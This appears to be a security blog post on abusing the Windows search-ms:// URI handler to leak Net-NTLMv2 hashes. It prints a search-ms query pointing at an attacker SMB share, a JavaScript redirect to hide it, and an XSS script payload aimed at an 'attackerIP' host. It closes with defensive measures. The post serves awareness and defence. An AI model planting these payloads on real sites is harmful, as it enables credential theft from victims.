Recently, a paper regarding a new CVE was published by Varonis about multiple exploits to coerce Net-NTLM authentication. One of these methods abuses how explorer.exe handles search queries for files. Web browsers can open applications by using special strings in the search bar.
To open explorer.exe you can prepend search-ms:// this will prompt the user to allow the application to open.
Someone can abuse this with queries to leak a Net-NTLMv2 hash by running search-ms://query=runit&subquery=\\Attacker machine\runit.search-ms from the browser search bar and pressing ok on the prompt.
Most people who see this may be hesitant to click the link as it is an unknown and suspicious looking address. This brings the problem of how can we hide the suspicious URL and make it look less dangerous? We can simply use the window.location.href tag from JavaScript. This tag will set the current URL in the browser to whatever the tag assigns. Here is an example of a webpage that hosts this malicious code.
When a victim browses to this page, they will be immediately prompted to allow the browser to open an application.
Now if that victim presses “Open Windows Explorer” their machine will make an SMB connection to the attacker-controlled machine. If the attacker-controlled machine is running a tool like Responder a Net-NTLMv2 hash can will be captured.
Attack Chain via Cross Site Scripting:
Those with a keen eye may notice that the IP in the window.location.href string differs from the IP of the webpage hosting the malicious script, but when we receive the prompt to Open Windows Explorer it shows the IP of the webpage. This means that the webpage’s IP or hostname conceals the attacker’s IP from the victim. A malicious site can use this to deceive a victim into trusting the Open Windows Explorer prompt.
With Cross Site Scripting or XSS, this can be achieved. Since window.location.href is a JavaScript tag it is possible to change your generic alert(1) payload for testing XSS injection to something more dangerous like:
‘<script>window.location.href = “search-ms://query=poc123&subquery=\\\\attackerIP\\poc123.search-ms”</script>
Here is an example of this attack within DVWA:
Now with this payload XSS just became far more dangerous going from stealing browser data to stealing Net-NTLMv2 hashes.
How can I defend against this attack?
- To prevent this attack, avoid unknown and less reputable websites, and do not allow a page to open applications on your machine unless you expect that behavior.
- Block outbound NTLM authentication with Windows 11 feature discussed here. This will fully remove the attack surface of this vulnerability.
- Block the SMB protocol from reaching public IP addresses. While this does not protect against internal threats it does add a layer of security against external threats. Thus heavily reducing its attack surface.
